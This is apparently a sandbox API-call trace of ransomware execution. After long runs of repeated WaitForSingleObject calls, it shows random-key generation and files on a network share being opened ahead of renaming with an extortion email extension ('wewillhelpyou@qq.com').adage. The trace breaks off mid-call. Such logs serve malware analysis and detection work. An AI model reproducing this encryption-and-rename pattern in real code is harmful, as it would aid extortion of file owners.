dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.136] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.137] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.138] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.139] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.141] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.141] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.141] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.143] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.144] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.145] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.146] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.147] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.148] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.149] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.150] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.151] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.152] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.153] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0037.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0 [0039.911] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0039.911] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mcLK0zRep8.ots" (normalized: "\\\\192.168.0.1\\documents\\mclk0zrep8.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.109] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=88198) returned 1 [0040.110] CloseHandle (hObject=0x184) returned 1 [0040.110] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mcLK0zRep8.ots" (normalized: "\\\\192.168.0.1\\documents\\mclk0zrep8.ots")) returned 0x80 [0040.110] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mcLK0zRep8.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\mclk0zrep8.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.110] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\mcLK0zRep8.ots" (normalized: "\\\\192.168.0.1\\documents\\mclk0zrep8.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.314] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0040.314] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F01GLe.odt" (normalized: "\\\\192.168.0.1\\documents\\f01gle.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.414] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=88671) returned 1 [0040.414] CloseHandle (hObject=0x180) returned 1 [0040.414] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F01GLe.odt" (normalized: "\\\\192.168.0.1\\documents\\f01gle.odt")) returned 0x80 [0040.415] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F01GLe.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\f01gle.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.415] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\F01GLe.odt" (normalized: "\\\\192.168.0.1\\documents\\f01gle.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.418] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0040.419] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0c5f9ps.odt" (normalized: "\\\\192.168.0.1\\documents\\0c5f9ps.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.447] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=37248) returned 1 [0040.447] CloseHandle (hObject=0x180) returned 1 [0040.447] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0c5f9ps.odt" (normalized: "\\\\192.168.0.1\\documents\\0c5f9ps.odt")) returned 0x80 [0040.448] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0c5f9ps.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\0c5f9ps.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.448] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0c5f9ps.odt" (normalized: "\\\\192.168.0.1\\documents\\0c5f9ps.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.469] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0040.469] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XP77ZtgAwnoAMmLb.odt" (normalized: "\\\\192.168.0.1\\documents\\xp77ztgawnoammlb.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.491] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=58916) returned 1 [0040.491] CloseHandle (hObject=0x180) returned 1 [0040.491] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XP77ZtgAwnoAMmLb.odt" (normalized: "\\\\192.168.0.1\\documents\\xp77ztgawnoammlb.odt")) returned 0x80 [0040.491] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XP77ZtgAwnoAMmLb.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\xp77ztgawnoammlb.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.492] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\XP77ZtgAwnoAMmLb.odt" (normalized: "\\\\192.168.0.1\\documents\\xp77ztgawnoammlb.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.498] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0040.498] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e8sPU7Zk.ots" (normalized: "\\\\192.168.0.1\\documents\\e8spu7zk.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.504] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=69360) returned 1 [0040.504] CloseHandle (hObject=0x180) returned 1 [0040.504] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e8sPU7Zk.ots" (normalized: "\\\\192.168.0.1\\documents\\e8spu7zk.ots")) returned 0x80 [0040.504] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e8sPU7Zk.ots.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\e8spu7zk.ots.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.504] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\e8sPU7Zk.ots" (normalized: "\\\\192.168.0.1\\documents\\e8spu7zk.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.511] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x28cf7b8 | out: pbBuffer=0x28cf7b8) returned 1 [0040.511] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RKixholu7QWBM4vIh2Qr.ots" (normalized: "\\\\192.168.0.1\\documents\\rkixholu7qwbm4vih2qr.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.518] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x28cf750 | out: lpFileSize=0x28cf750*=64751) returned 1 [0040.518] CloseHandle (hObject=0x180) returned 1 [0040.518] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RKixholu7QWBM4vIh2Qr.ots" (normalized: "\\\\192.168.0.1\\documents\\rkixholu7qwbm4vih2qr.ots")) returned 0x80 [0040.518] GetFileAttributesW 